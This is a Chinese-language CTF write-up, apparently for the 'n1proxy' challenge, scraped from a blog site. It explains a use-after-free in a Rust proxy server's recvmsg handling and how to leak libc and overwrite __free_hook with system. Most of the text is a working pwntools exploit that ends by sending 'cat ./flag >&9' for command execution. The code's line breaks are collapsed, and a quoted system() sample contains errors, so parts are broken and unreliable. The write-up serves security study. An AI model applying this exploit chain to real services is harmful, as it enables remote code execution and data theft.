}fn main() -> Result<()> {// make this easier :)unsafe {mallopt(libc::M_ARENA_MAX, 1);}let port = env::args().nth(1).unwrap_or("8080".to_string());let server_fd = unsafe { libc::socket(AF_INET, SOCK_STREAM, 0) };println!("n1proxy server listening on port {}", port);let mut server: sockaddr_in = unsafe { mem::zeroed() };server.sin_family = libc::AF_INET as u16;server.sin_addr.s_addr = libc::INADDR_ANY;server.sin_port = port.parse::<u16>()?.to_be();let socket_opt_res = unsafe {  //设置套接字的相关选项libc::setsockopt(server_fd,libc::SOL_SOCKET,libc::SO_REUSEADDR,&1 as *const _ as *const _,mem::size_of_val(&1) as u32,)};if socket_opt_res < 0 {panic!("Failed to set socket options {:?}",std::io::Error::last_os_error());}let bind_result = unsafe {  //将套接字和套接字地址结构绑定libc::bind(server_fd,&server as *const _ as *const _,mem::size_of_val(&server) as u32,)};if bind_result < 0 {panic!("Failed to bind socket {:?}",std::io::Error::last_os_error());}let listen_result = unsafe { libc::listen(server_fd, 5) }; //套接字开始监听if listen_result < 0 {panic!("Failed to listen on socket {:?}",std::io::Error::last_os_error());}loop {let client_fd =unsafe { libc::accept(server_fd, std::ptr::null_mut(), std::ptr::null_mut()) }; //返回连接上的客户端套接字if client_fd < 0 {break;}thread::spawn(move || {println!("New client connected");handle_client(client_fd).unwrap_or_else(|err| {eprintln!("Error: {}", err);let err_msg = format!("error : {}", err);my_write(client_fd, err_msg.as_ptr() as *const c_void, err_msg.len()).ok();});unsafe { libc::close(client_fd) };println!("Client disconnected")});}Ok(())
}

公匙交换和签名

  • 发送方发送公钥和对公匙的签名(通过私匙和某种算法得到签名钥匙来对消息签名)
  • 接受方利用接受的公匙对接受的公匙(包括在数据部分)和签名认证(通过发送方的公匙)

会话钥匙

  • 发送方通过接受方的公钥对会话钥匙(随机生成)进行相关算法加密,然后将加密后的数据签名并一起发送过去
  • 接受方通过发送方的公匙来对数据和签名来认证,然后将数据部分通过私匙进行解密,最后得到会话钥匙

后续通信

  • 发送方将数据部分和数据部分的签名(私匙)通过会话钥匙加密,然后发送
  • 接受方先通过会话钥匙解密,然后通过对方的公匙验证签名和数据,

生命周期和裸指针

在代码片段

let mut recv_iov = [iovec {iov_base: vec![0u8; recv_size].as_mut_ptr() as *mut _,iov_len: recv_size,
}];

中,存在以下生命周期问题:

  1. Vec和裸指针的关系:
    当你创建一个Vec<u8>,并在其后立即通过as_mut_ptr()获取一个裸指针时,这个裸指针指向了Vec内部的内存。然而,Vec和裸指针的生命周期并没有显式关联。Vec的生命周期是在其创建的作用域内,而裸指针的生命周期则是不确定的,因为它脱离了Rust的生命周期管理系统。

  2. Vec的自动释放:
    由于Vec是在局部作用域中创建的,当这个作用域结束时,Vec将被自动释放,其内存将被回收。如果此时裸指针仍然在使用中,它就成为了悬挂指针,指向的是一块已经无效的内存。

在Rust中,表达式vec![0u8; recv_size]创建了一个Vec<u8>,其生命周期是与它被创建的作用域绑定的。

iovec {iov_base: vec![0u8; recv_size].as_mut_ptr() as *mut _,iov_len: recv_size,
}

这里的vec![0u8; recv_size]是在iovec结构体初始化的上下文中创建的。这意味着这个Vec<u8>的生命周期是与iovec初始化的那行代码所在的块(即花括号包围的代码区域)绑定的。一旦这个代码块执行完毕,Vec<u8>也将达到其生命周期的终点,其内存将被释放。

然而,这行代码中的vec![0u8; recv_size]创建的Vec<u8>的生命周期与iovec的生命周期可能存在冲突,因为ioveciov_base字段被设置为指向这个Vec的裸指针。当Vec<u8>的生命周期结束时,其内存被释放,但iovec可能仍然持有指向已释放内存的裸指针,这将导致悬挂指针。

写了个代码测试下
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

core::slice::raw::from_raw_parts core::slice::raw::from_raw_parts并没有申请堆块

在这里插入图片描述
在这里插入图片描述
res.to_vec()会再分配一次相同大小的堆块,并将 res 切片中的数据复制到这个新的内存块中。
在这里插入图片描述
后面的vec![recv_data.len().to_le_bytes().to_vec(), recv_data.to_vec()].concat() recv_data.to_vec()又申请了相同大小的chunk,并将之前数据拷贝,所以free后连续分配了两次

代码审计

在这里插入图片描述

漏洞点 libc-2.27.so

#[inline(always)]
fn my_recv_msg(fd: i32, recv_size: usize) -> Result<Vec<u8>> {let mut recv_iov = [iovec {iov_base: vec![0u8; recv_size].as_mut_ptr() as *mut _,iov_len: recv_size,}];let mut msg = msghdr {msg_name: std::ptr::null_mut(),msg_namelen: 0,msg_iov: recv_iov.as_mut_ptr(),msg_iovlen: 1,msg_control: std::ptr::null_mut(),msg_controllen: 0,msg_flags: 0,};let recv_sz = unsafe { recvmsg(fd, &mut msg, 0) };if recv_sz < 0 {return os_error!();}let res = unsafe { slice::from_raw_parts(recv_iov[0].iov_base as *const u8, recv_size) };Ok(res.to_vec())let recv_data = match conn_type { //得到返回数据ProxyType::Tcp => {let mut recv_data = vec![0; recv_data_size as usize];let recv_sz = my_read(target_fd,recv_data.as_mut_ptr() as *mut c_void,recv_data.len() as size_t,)?;recv_data.resize(recv_sz as usize, 0);recv_data}ProxyType::Udp => my_recvfrom(target_fd, recv_data_size as usize)?,ProxyType::Sock => my_recv_msg(target_fd, recv_data_size as usize)?,ProxyType::Unknown => return Err(anyhow!("Invalid conn type")),};vec![recv_data.len().to_le_bytes().to_vec(), recv_data.to_vec()].concat() 最后的处理
let res_msg = vec![res_msg, key_exchange_sign.to_vec()].concat();let res_msg = session_enc(session_key, &res_msg)?;my_write(stream_fd, res_msg.as_ptr() as *const c_void, res_msg.len())?;
}

my_recv_msg 函数等价为:

  1. 使用一个 recv_size 大小的内存初始化 iov_base;
  2. 释放这块内存得到悬空指针;
  3. 在 unsafe { recvmsg(fd, &mut msg, 0) } 处从读取事先发送到指定 fd 上的数据并写入这块内存(UAF);
  4. 最后通过 unsafe { slice::from_raw_parts(recv_iov[0].iov_base as *const u8, recv_size) } 得到切片,然后res.to_vec()会再分配一次相同大小的堆块,并将 res 切片中的数据复制到这个新的内存块中

大致思路(exp还有变化)

增加了tcache,tcache无next检查

  1. sendmsg发送零个字节,recvmsg设置较大的msg_recvsize使得内部的msg的iov_base被free后进入到unsortedbin中,然后recvmsg将接受到的(为零,所以没有写入)写入msg的iov_base,使得残留的libc地址不被修改
  2. res.to_vec()此时会重新分配,大小和之前刚被free的bin一样,然后泄露libc地址,并把之前的内容复制上去
  3. 由于是free后连续分配并拷贝原数据两次,第一次分配是原chunk,第二次就是改写后的fd对应的chunk。由于会拷贝原数据,(如果fd是free_hook-0x8 system,那么会分配到free_hook-0x8就会写入free_hook-0x8 system)所以改fd为free_hook-0x8 system。
  4. 由于后面还会又很多次的free操作会调用system函数,但由于参数不对会导致system执行失败,该线程就会卡住,但不影响
  5. 到下一次UAF时,这时发送相关指令,此时写到free的chunk的是指令,然后分配时候会得到原chunk,res.to_vec()会新建一个chunk,并复制原chunk的内容即指令,当其生命周期结束时,即调用system(指令)

调试

放到IDA,通过汇编下断点,但后面的汇编就是在看不懂了,只能通过read和write下断点
在这里插入图片描述

https://blog.csdn.net/counsellor/article/details/125882904
关于签名几个字节,签名.len()几个字节等,可以编写rust程序然后使用一样的函数来看看或者相关交换流程通过问gpt来处理

利用pause找对应的函数的断点,最终的 let mut recv_iov = [iovec { iov_base: vec![0u8; recv_size].as_mut_ptr() as *mut _, //生命周期问题导致存在悬挂指针 iov_len: recv_size, }];分配的操作应该在在这里插入图片描述

exp

这里需要新建一个线程运行listen,因为发送过去最终还要等connec函数连接成功才能得到listen返回的客户端的fd,而connec返回服务器的fd
为了防止connec时还没有开启accept,所以采取pause()

泄露libc

不能发送零个字节,recvmsg这样会阻塞,所以尝试发送一个字节0,出现
在这里插入图片描述

在这里插入图片描述
发生在 vec![recv_data.len().to_le_bytes().to_vec(), recv_data.to_vec()].concat()是因为改变了fd的值,导致fd不是unsorted_chunk的值
要绕过的话,一是要满足分配后,再free掉,赋值后fd或者bk部分有libc残留,同时fd要指向unsorted_chunk地址。

当我下malloc断点时发现第一次分配使用的_rust_alloc_zeroed 没有断下来,可能是其他函数。,IDA看了后发现用的是calloc,它和malloc区别在于刚开始不会从tcache中去chunk,而是直接开始比对是否属于fastbin(类似低版本的malloc,但会有当fastbin有多余的chunk会把它链入到tcache中去)

在这里插入图片描述
然后常规free
第二次分配使用的是__rust_alloc,对应malloc
在这里插入图片描述
如果第一次分配绕过tcache找到,然后free时由于tcache满了进入unsorted,再分配时候又是从tcache中找到,并且之后的chunk都可以从tcache中找到,free也可以直接到tcache或者到unsortedbin,就可以解决这个问题。总之,free赋值后就是后续的malloc只能从tcache来,这里从满的tcache的bin对应的chunksize大小一个个试

写free_hook

这里依然要保证malloc和calloc不能从unsortedbin中寻找(但好像通过某种风水下次也可以了),并且由于这里要写tcache chunk的fd,并且将原内容复制到fd对应的chunk上去,进而写free_hook为system。所以需要是tcache上的chunk,首先第一次是calloc,这个时候需要fastbin或者smallbin里有,free后进入tcache,赋值写fd,然后再分配从tcache出来,再分配就得到的free_hook-8的chunk,然后复制,进而写free_hook为system

  if (tc_idx < mp_.tcache_bins/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */&& tcache&& tcache->entries[tc_idx] != NULL){return tcache_get (tc_idx);}DIAG_POP_NEEDS_COMMENT;
#endif

这里由于根据entries来分配tcache,找个之后都不会malloc用到的size即可,否则要用到之后fd对应的chunk残留的fd可能分配出问题。所以从没有对应的size的tcachebin中一个个试,另外这里发现会将recvmsg会将bk对应部分值清零,复制到又分配的chunk自然无法写free_hook了,所以改为free_hook-0x10+p64(0)+system


#include <sys/types.h>
#include <sys/wait.h>
#include <errno.h>
#include <unistd.h>int system(const char * cmdstring){pid_t pid;int status;if(cmdstring == NULL){return (1);}if((pid = fork())<0){status = -1;}else if(pid = 0){execl("/bin/sh", "sh", "-c", cmdstring, (char *)0);-exit(127); //子进程正常执行则不会执行此语句}else{while(waitpid(pid, &status, 0) < 0){if(errno != EINTER){status = -1;break;}}}return status;}

system函数执行错误会让产生的子进程退出,gdb调一直卡在子进程,退出不了 发现卡是因为原来断点插入不了, 所以会卡住,离谱。但后面会由于很多free,然后如果有断点就会卡住,所以这里设置在hand_client不跟进子进程,但要进入hand_client又得需要进入子进程,比较麻烦

执行命令

覆盖后,下次发送相关命令,接收后赋值,当生命周期结束会调用free,进而system(命令),这里需要cat flag然后重定向到服务端套接字(应该是send
过去后,有对存储命令的堆的free操作),通过recv_msg将send的内容flag内容一起接收

exp

from pwn import *
import rsa
from typing import List
#from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
#from cryptography.hazmat.backends import default_backend
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from typing import Dict, List
import threading
from Crypto.Util.Padding import unpadcontext(os="linux",arch="amd64",log_level="debug")
context.terminal = ["tmux", "splitw", "-h"]class SessionKey:def __init__(self, key, iv):self.key = keyself.iv = ivdef __str__(self):return f"SessionKey(key={self.key}, iv={self.iv})"def __repr__(self):return str(self)def session_enc(keys:SessionKey, msg: bytes) -> bytes:try:key = keys.keyiv = keys.ivif len(key) != 32:raise ValueError(f"Invalid key length {len(key)}")if len(iv) != 16:raise ValueError(f"Invalid iv length {len(iv)}")# Create AES cipher in CBC modecipher = AES.new(key, AES.MODE_CBC, iv)# Pad the messagepadded_msg = pad(msg, AES.block_size)# Encrypt the padded messageencrypted = cipher.encrypt(padded_msg)return encryptedexcept Exception as e:raise Exception(f"Failed to encrypt message: {str(e)}")def session_dec(keys: SessionKey, msg: bytes) -> bytes:key = keys.keyiv = keys.ivif len(key) != 32:raise ValueError(f"Invalid key length {len(key)}")if len(iv) != 16:raise ValueError(f"Invalid iv length {len(iv)}")# Create AES cipher object for decryptioncipher = AES.new(keys.key, AES.MODE_CBC, keys.iv)try:# Decrypt the message and remove paddingdecrypted = cipher.decrypt(msg)unpadded = unpad(decrypted, AES.block_size)except ValueError as err:raise ValueError(f"Failed to decrypt message: {err}") from errreturn unpadded
def listen():global client_fd,server_fdr=remote("127.0.0.1",8080)# shandhaker.sendafter(b"n1proxy server v0.1",b"n1proxy client v0.1") # conntyper.send(b"\x00")# recv server key_exchange_sign.len()8| key_exchange_sign 512|pub_key_n.len() 8|pub_key_e.len() 8|pub_key_n 8|pub_key_e 8,key_exchange_sign_len=r.recv(8)key_exchange_sign=r.recv(512)pub_key_n_len=r.recv(8)pub_key_e_len=r.recv(8)pub_key_n=r.recv(512)pub_key_e=r.recv(4)server_pub_key = rsa.PublicKey(int.from_bytes(pub_key_n, byteorder='big'),int.from_bytes(pub_key_e, byteorder='big'))if rsa.verify(pub_key_n_len+pub_key_e_len+pub_key_n+pub_key_e, key_exchange_sign, server_pub_key):print("server public key get Signature verified")# send client  key_exchange_sign.len()8| key_exchange_sign 512|pub_key_n.len() 8|pub_key_n 8|pub_key_e.len() 8|pub_key_e 8global  pub_key, pri_keypub_key_n = pub_key.n.to_bytes(512, byteorder='big')pub_key_e = pub_key.e.to_bytes(8, byteorder='big')key_exchange = b''.join([len(pub_key_n).to_bytes(8, byteorder='little'),pub_key_n,len(pub_key_e).to_bytes(8, byteorder='little'),pub_key_e])key_exchange_sign = rsa.sign(key_exchange, pri_key, 'SHA-256')key_exchange_sign_len = len(key_exchange_sign)key_exchange_sign_msg = b''.join([key_exchange_sign_len.to_bytes(8, byteorder='little'),key_exchange_sign])r.send(key_exchange_sign_msg)r.send(key_exchange)# get session key  new_session_sign.len 8| new_session_sign 512 |  enc_key.len() 8| enc_key 512 |enc_time.len() 8| enc_time 512new_session_sign_len=r.recv(8)new_session_sign=r.recv(512)enc_key_len=r.recv(8)enc_key=r.recv(512)enc_time_len=r.recv(8)enc_time=r.recv(512)if rsa.verify(enc_key_len+enc_key+enc_time_len+enc_time, new_session_sign, server_pub_key):print("server session key Signature verified")session_key_array = rsa.decrypt(enc_key, pri_key)session_key=SessionKey(session_key_array[:32],session_key_array[32:48])timestamp = int.from_bytes(rsa.decrypt(enc_time, pri_key), byteorder='little')print("server session key",session_key)# ProxyType ProxyStatus   session_enc(conn_type 4 | status 4 | signature(conn_type 4 | status 4))ProxyStatus=4ProxyType=2prec_con=p32(ProxyType)+p32(ProxyStatus)prec_con_sign = rsa.sign(prec_con, pri_key, 'SHA-256')pre_conn_session_enc=session_enc(session_key,prec_con+prec_con_sign)r.send(pre_conn_session_enc)#  ok_msg session_enc(  ok_msg|  ok_msg_sign.len |  ok_msg_sign )ok_msg_enc=r.recv(528)ok_msg_total=session_dec(session_key,ok_msg_enc)if rsa.verify(ok_msg_total[:4], ok_msg_total[12:], server_pub_key):print("server ok_msg key Signature verified")#  about ProxyStatus operation target_host=b"127.0.0.1"target_host_len=p32(9)target_port=p16(12345)conn_data_sign=rsa.sign(target_host_len+target_host+target_port, pri_key, 'SHA-256')conn_data_session_enc=session_enc(session_key,target_host_len+target_host+target_port+conn_data_sign)r.send(conn_data_session_enc)#  session_enc(socke_fd | signature)fd_session_enc=r.recv(528)fd_total=session_dec(session_key,fd_session_enc)if rsa.verify(fd_total[:4], fd_total[4:], server_pub_key):print("server client fd  key Signature verified")#p.interactive() # else process("./pwn") endclient_fd=fd_total[:4]print("client fd ",client_fd)def connec():global client_fd,server_fdr=remote("127.0.0.1",8080)# shandhaker.sendafter(b"n1proxy server v0.1",b"n1proxy client v0.1") # conntyper.send(b"\x00")# recv server key_exchange_sign.len()8| key_exchange_sign 512|pub_key_n.len() 8|pub_key_e.len() 8|pub_key_n 8|pub_key_e 8,key_exchange_sign_len=r.recv(8)key_exchange_sign=r.recv(512)pub_key_n_len=r.recv(8)pub_key_e_len=r.recv(8)pub_key_n=r.recv(512)pub_key_e=r.recv(4)server_pub_key = rsa.PublicKey(int.from_bytes(pub_key_n, byteorder='big'),int.from_bytes(pub_key_e, byteorder='big'))if rsa.verify(pub_key_n_len+pub_key_e_len+pub_key_n+pub_key_e, key_exchange_sign, server_pub_key):print("server public key get Signature verified")# send client  key_exchange_sign.len()8| key_exchange_sign 512|pub_key_n.len() 8|pub_key_n 8|pub_key_e.len() 8|pub_key_e 8global  pub_key, pri_keypub_key_n = pub_key.n.to_bytes(512, byteorder='big')pub_key_e = pub_key.e.to_bytes(8, byteorder='big')key_exchange = b''.join([len(pub_key_n).to_bytes(8, byteorder='little'),pub_key_n,len(pub_key_e).to_bytes(8, byteorder='little'),pub_key_e])key_exchange_sign = rsa.sign(key_exchange, pri_key, 'SHA-256')key_exchange_sign_len = len(key_exchange_sign)key_exchange_sign_msg = b''.join([key_exchange_sign_len.to_bytes(8, byteorder='little'),key_exchange_sign])r.send(key_exchange_sign_msg)r.send(key_exchange)# get session key  new_session_sign.len 8| new_session_sign 512 |  enc_key.len() 8| enc_key 512 |enc_time.len() 8| enc_time 512new_session_sign_len=r.recv(8)new_session_sign=r.recv(512)enc_key_len=r.recv(8)enc_key=r.recv(512)enc_time_len=r.recv(8)enc_time=r.recv(512)if rsa.verify(enc_key_len+enc_key+enc_time_len+enc_time, new_session_sign, server_pub_key):print("server session key Signature verified")session_key_array = rsa.decrypt(enc_key, pri_key)session_key=SessionKey(session_key_array[:32],session_key_array[32:48])timestamp = int.from_bytes(rsa.decrypt(enc_time, pri_key), byteorder='little')print("server session key",session_key)# ProxyType ProxyStatus   session_enc(conn_type 4 | status 4 | signature(conn_type 4 | status 4))ProxyStatus=2ProxyType=2prec_con=p32(ProxyType)+p32(ProxyStatus)prec_con_sign = rsa.sign(prec_con, pri_key, 'SHA-256')pre_conn_session_enc=session_enc(session_key,prec_con+prec_con_sign)r.send(pre_conn_session_enc)#  ok_msg session_enc(  ok_msg|  ok_msg_sign.len |  ok_msg_sign )ok_msg_enc=r.recv(528)ok_msg_total=session_dec(session_key,ok_msg_enc)if rsa.verify(ok_msg_total[:4], ok_msg_total[12:], server_pub_key):print("server ok_msg key Signature verified")#  about ProxyStatus operation # target_host=b"127.0.0.1"target_host_len=p32(9)target_port=p16(12345)conn_data_sign=rsa.sign(target_host_len+target_host+target_port, pri_key, 'SHA-256')conn_data_session_enc=session_enc(session_key,target_host_len+target_host+target_port+conn_data_sign)r.send(conn_data_session_enc)#  session_enc(socke_fd | signature)fd_session_enc=r.recv(528)fd_total=session_dec(session_key,fd_session_enc)if rsa.verify(fd_total[:4], fd_total[4:], server_pub_key):print("server client fd  key Signature verified")#p.interactive() # else process("./pwn") endserver_fd=fd_total[:4]print("server fd ",server_fd)#p.interactive() # else process("./pwn") enddef send(fd,size ,data):r=remote("127.0.0.1",8080)# shandhaker.sendafter(b"n1proxy server v0.1",b"n1proxy client v0.1") # conntyper.send(b"\x00")# recv server key_exchange_sign.len()8| key_exchange_sign 512|pub_key_n.len() 8|pub_key_e.len() 8|pub_key_n 8|pub_key_e 8,key_exchange_sign_len=r.recv(8)key_exchange_sign=r.recv(512)pub_key_n_len=r.recv(8)pub_key_e_len=r.recv(8)pub_key_n=r.recv(512)pub_key_e=r.recv(4)server_pub_key = rsa.PublicKey(int.from_bytes(pub_key_n, byteorder='big'),int.from_bytes(pub_key_e, byteorder='big'))if rsa.verify(pub_key_n_len+pub_key_e_len+pub_key_n+pub_key_e, key_exchange_sign, server_pub_key):print("server public key get Signature verified")# send client  key_exchange_sign.len()8| key_exchange_sign 512|pub_key_n.len() 8|pub_key_n 8|pub_key_e.len() 8|pub_key_e 8global  pub_key, pri_keypub_key_n = pub_key.n.to_bytes(512, byteorder='big')pub_key_e = pub_key.e.to_bytes(8, byteorder='big')key_exchange = b''.join([len(pub_key_n).to_bytes(8, byteorder='little'),pub_key_n,len(pub_key_e).to_bytes(8, byteorder='little'),pub_key_e])key_exchange_sign = rsa.sign(key_exchange, pri_key, 'SHA-256')key_exchange_sign_len = len(key_exchange_sign)key_exchange_sign_msg = b''.join([key_exchange_sign_len.to_bytes(8, byteorder='little'),key_exchange_sign])r.send(key_exchange_sign_msg)r.send(key_exchange)# get session key  new_session_sign.len 8| new_session_sign 512 |  enc_key.len() 8| enc_key 512 |enc_time.len() 8| enc_time 512new_session_sign_len=r.recv(8)new_session_sign=r.recv(512)enc_key_len=r.recv(8)enc_key=r.recv(512)enc_time_len=r.recv(8)enc_time=r.recv(512)if rsa.verify(enc_key_len+enc_key+enc_time_len+enc_time, new_session_sign, server_pub_key):print("server session key Signature verified")session_key_array = rsa.decrypt(enc_key, pri_key)session_key=SessionKey(session_key_array[:32],session_key_array[32:48])timestamp = int.from_bytes(rsa.decrypt(enc_time, pri_key), byteorder='little')print("server session key",session_key)# ProxyType ProxyStatus   session_enc(conn_type 4 | status 4 | signature(conn_type 4 | status 4))ProxyStatus=0ProxyType=2prec_con=p32(ProxyType)+p32(ProxyStatus)prec_con_sign = rsa.sign(prec_con, pri_key, 'SHA-256')pre_conn_session_enc=session_enc(session_key,prec_con+prec_con_sign)r.send(pre_conn_session_enc)#  ok_msg session_enc(  ok_msg|  ok_msg_sign.len |  ok_msg_sign )ok_msg_enc=r.recv(528)ok_msg_total=session_dec(session_key,ok_msg_enc)if rsa.verify(ok_msg_total[:4], ok_msg_total[12:], server_pub_key):print("server ok_msg key Signature verified")#  about ProxyStatus operation # conn_data=p32(fd)+p64(size)+dataconn_data_sign=rsa.sign(conn_data, pri_key, 'SHA-256')conn_data_session_enc=session_enc(session_key,conn_data+conn_data_sign)r.send(conn_data_session_enc)r.close()#p.interactive() # else process("./pwn") enddef recv(fd,size):r=remote("127.0.0.1",8080)# shandhaker.sendafter(b"n1proxy server v0.1",b"n1proxy client v0.1") # conntyper.send(b"\x00")# recv server key_exchange_sign.len()8| key_exchange_sign 512|pub_key_n.len() 8|pub_key_e.len() 8|pub_key_n 8|pub_key_e 8,key_exchange_sign_len=r.recv(8)key_exchange_sign=r.recv(512)pub_key_n_len=r.recv(8)pub_key_e_len=r.recv(8)pub_key_n=r.recv(512)pub_key_e=r.recv(4)server_pub_key = rsa.PublicKey(int.from_bytes(pub_key_n, byteorder='big'),int.from_bytes(pub_key_e, byteorder='big'))if rsa.verify(pub_key_n_len+pub_key_e_len+pub_key_n+pub_key_e, key_exchange_sign, server_pub_key):print("server public key get Signature verified")# send client  key_exchange_sign.len()8| key_exchange_sign 512|pub_key_n.len() 8|pub_key_n 8|pub_key_e.len() 8|pub_key_e 8global  pub_key, pri_keypub_key_n = pub_key.n.to_bytes(512, byteorder='big')pub_key_e = pub_key.e.to_bytes(8, byteorder='big')key_exchange = b''.join([len(pub_key_n).to_bytes(8, byteorder='little'),pub_key_n,len(pub_key_e).to_bytes(8, byteorder='little'),pub_key_e])key_exchange_sign = rsa.sign(key_exchange, pri_key, 'SHA-256')key_exchange_sign_len = len(key_exchange_sign)key_exchange_sign_msg = b''.join([key_exchange_sign_len.to_bytes(8, byteorder='little'),key_exchange_sign])r.send(key_exchange_sign_msg)r.send(key_exchange)# get session key  new_session_sign.len 8| new_session_sign 512 |  enc_key.len() 8| enc_key 512 |enc_time.len() 8| enc_time 512new_session_sign_len=r.recv(8)new_session_sign=r.recv(512)enc_key_len=r.recv(8)enc_key=r.recv(512)enc_time_len=r.recv(8)enc_time=r.recv(512)if rsa.verify(enc_key_len+enc_key+enc_time_len+enc_time, new_session_sign, server_pub_key):print("server session key Signature verified")session_key_array = rsa.decrypt(enc_key, pri_key)session_key=SessionKey(session_key_array[:32],session_key_array[32:48])timestamp = int.from_bytes(rsa.decrypt(enc_time, pri_key), byteorder='little')print("server session key",session_key)# ProxyType ProxyStatus   session_enc(conn_type 4 | status 4 | signature(conn_type 4 | status 4))ProxyStatus=1ProxyType=2prec_con=p32(ProxyType)+p32(ProxyStatus)prec_con_sign = rsa.sign(prec_con, pri_key, 'SHA-256')pre_conn_session_enc=session_enc(session_key,prec_con+prec_con_sign)r.send(pre_conn_session_enc)#  ok_msg session_enc(  ok_msg|  ok_msg_sign.len |  ok_msg_sign )ok_msg_enc=r.recv(528)ok_msg_total=session_dec(session_key,ok_msg_enc)if rsa.verify(ok_msg_total[:4], ok_msg_total[12:], server_pub_key):print("server ok_msg key Signature verified")#  about ProxyStatus operation conn_data=p32(fd)+p64(size)conn_data_sign=rsa.sign(conn_data, pri_key, 'SHA-256')conn_data_session_enc=session_enc(session_key,conn_data+conn_data_sign)r.send(conn_data_session_enc)#   session_enc( recv_data.len() |  recv_data | sign(recv_data.len() |  recv_data)  )recv_enc_data = r.recv()recv_data = session_dec(session_key,recv_enc_data)data_len = u64(recv_data[:8])data = recv_data[8:8+data_len]sig = recv_data[8+data_len:]if rsa.verify(recv_data[:8+data_len],sig,server_pub_key):print("recvdata key Signature verified")return data#p.interactive() # else process("./pwn") end
def recv_no(fd,size):r=remote("127.0.0.1",8080)# shandhaker.sendafter(b"n1proxy server v0.1",b"n1proxy client v0.1") # conntyper.send(b"\x00")# recv server key_exchange_sign.len()8| key_exchange_sign 512|pub_key_n.len() 8|pub_key_e.len() 8|pub_key_n 8|pub_key_e 8,key_exchange_sign_len=r.recv(8)key_exchange_sign=r.recv(512)pub_key_n_len=r.recv(8)pub_key_e_len=r.recv(8)pub_key_n=r.recv(512)pub_key_e=r.recv(4)server_pub_key = rsa.PublicKey(int.from_bytes(pub_key_n, byteorder='big'),int.from_bytes(pub_key_e, byteorder='big'))if rsa.verify(pub_key_n_len+pub_key_e_len+pub_key_n+pub_key_e, key_exchange_sign, server_pub_key):print("server public key get Signature verified")# send client  key_exchange_sign.len()8| key_exchange_sign 512|pub_key_n.len() 8|pub_key_n 8|pub_key_e.len() 8|pub_key_e 8global  pub_key, pri_keypub_key_n = pub_key.n.to_bytes(512, byteorder='big')pub_key_e = pub_key.e.to_bytes(8, byteorder='big')key_exchange = b''.join([len(pub_key_n).to_bytes(8, byteorder='little'),pub_key_n,len(pub_key_e).to_bytes(8, byteorder='little'),pub_key_e])key_exchange_sign = rsa.sign(key_exchange, pri_key, 'SHA-256')key_exchange_sign_len = len(key_exchange_sign)key_exchange_sign_msg = b''.join([key_exchange_sign_len.to_bytes(8, byteorder='little'),key_exchange_sign])r.send(key_exchange_sign_msg)r.send(key_exchange)# get session key  new_session_sign.len 8| new_session_sign 512 |  enc_key.len() 8| enc_key 512 |enc_time.len() 8| enc_time 512new_session_sign_len=r.recv(8)new_session_sign=r.recv(512)enc_key_len=r.recv(8)enc_key=r.recv(512)enc_time_len=r.recv(8)enc_time=r.recv(512)if rsa.verify(enc_key_len+enc_key+enc_time_len+enc_time, new_session_sign, server_pub_key):print("server session key Signature verified")session_key_array = rsa.decrypt(enc_key, pri_key)session_key=SessionKey(session_key_array[:32],session_key_array[32:48])timestamp = int.from_bytes(rsa.decrypt(enc_time, pri_key), byteorder='little')print("server session key",session_key)# ProxyType ProxyStatus   session_enc(conn_type 4 | status 4 | signature(conn_type 4 | status 4))ProxyStatus=1ProxyType=2prec_con=p32(ProxyType)+p32(ProxyStatus)prec_con_sign = rsa.sign(prec_con, pri_key, 'SHA-256')pre_conn_session_enc=session_enc(session_key,prec_con+prec_con_sign)r.send(pre_conn_session_enc)#  ok_msg session_enc(  ok_msg|  ok_msg_sign.len |  ok_msg_sign )ok_msg_enc=r.recv(528)ok_msg_total=session_dec(session_key,ok_msg_enc)if rsa.verify(ok_msg_total[:4], ok_msg_total[12:], server_pub_key):print("server ok_msg key Signature verified")#  about ProxyStatus operation conn_data=p32(fd)+p64(size)conn_data_sign=rsa.sign(conn_data, pri_key, 'SHA-256')conn_data_session_enc=session_enc(session_key,conn_data+conn_data_sign)r.send(conn_data_session_enc)#   session_enc( recv_data.len() |  recv_data | sign(recv_data.len() |  recv_data)  )recv_enc_data = r.recv(timeout=10)#p.interactive() # else process("./pwn") endglobal client_fd,server_fdglobal  pub_key, pri_key
(pub_key, pri_key) = rsa.newkeys(4096)   
#p=process("./n1proxy_server")
# gdb.attach(p)
# pause()
thread = threading.Thread(target=listen)
thread.start()connec()
# leak libcsend(u32(server_fd),1 ,b"1")
recv_data=recv(u32(client_fd),0x200)print("recv_data",recv_data)
libcbase=u64(recv_data[:8])-0x3ebc31
print("libc",hex(libcbase))
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")# # overlap _free_hook
send(u32(server_fd),24,p64(libcbase+libc.sym["__free_hook"]-0x10)+p64(0)+p64(libcbase+libc.sym["system"]))
recv_data=recv_no(u32(client_fd),0x50) 
print("recv_data",recv_data)
# # system ("cat flag")
send(u32(server_fd),15,b"cat ./flag >&9\x00")
recv_data=recv(u32(client_fd),0x50) 
print("recv_data",recv_data)

这些sh:是因为我在后台运行proxy,所以它的输出直接出现在终端上
在这里插入图片描述
由于我这里生成公匙比较麻烦,所以就没过多去尝试其他可能的size了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/382879.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

算法学习day19

一、通过删除字母匹配到字符字典中的最大值 给你一个字符串 s 和一个字符串数组 dictionary &#xff0c;找出并返回 dictionary 中最长的字符串&#xff0c;该字符串可以通过删除 s 中的某些字符得到。 如果答案不止一个&#xff0c;返回长度最长且字母序最小的字符串。如果…

数据库——单表查询

一、建立数据库mydb8_worker mysql> use mydb8_worker; 二、建立表 1.创建表 mysql> create table t_worker(department_id int(11) not null comment 部门号,-> worder_id int(11) primary key not null comment 职工号,-> worker_date date not null comment…

【多模态】CLIP-KD: An Empirical Study of CLIP Model Distillation

论文&#xff1a;CLIP-KD: An Empirical Study of CLIP Model Distillation 链接&#xff1a;https://arxiv.org/pdf/2307.12732 CVPR 2024 Introduction Motivation&#xff1a;使用大的Teacher CLIP模型有监督蒸馏小CLIP模型&#xff0c;出发点基于在资源受限的应用中&…

CTF-NSSCTF题单[GKCTF2020]

